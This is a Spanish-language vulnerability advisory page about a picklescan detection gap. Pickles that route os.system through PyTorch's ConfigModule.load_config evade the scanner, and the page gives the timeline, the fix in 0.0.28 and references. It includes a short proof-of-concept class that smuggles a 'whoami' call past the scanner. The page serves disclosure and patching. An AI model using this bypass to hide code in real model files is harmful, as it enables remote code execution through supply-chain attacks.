llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · picklescan

GHSA-VV6J-3G6G-2PVJ

Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición454 dDesde la divulgación, 22 ago 2025, 11:58 a. m.
Detección451 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.0.28
Monitoreo
Detectada
22 ago 25
11 sept 26
17 nov 26
20 nov 26
22 ago 25
14 dic 25
7 abr 26
29 jul 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-VV6J-3G6G-2PVJ divulgada
Remediación Parche 0.0.28 picklescan · 0 d desde divulgación
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.

PoC
import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)
Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
picklescan< 0.0.28
0.0.28
1.0.5
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypipicklescan
Corregida 0.0.28 0 d 1.0.5 no afectada
Versiones corregidas0.0.28
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2025-71348
Otrahttps://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj
Otrahttps://github.com/mmaitre314/picklescan/pull/47
Otrahttps://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53
Otrahttps://github.com/mmaitre314/picklescan
Otrahttps://github.com/mmaitre314/picklescan/releases/tag/v0.0.28
Otrahttps://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml
Otrahttps://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.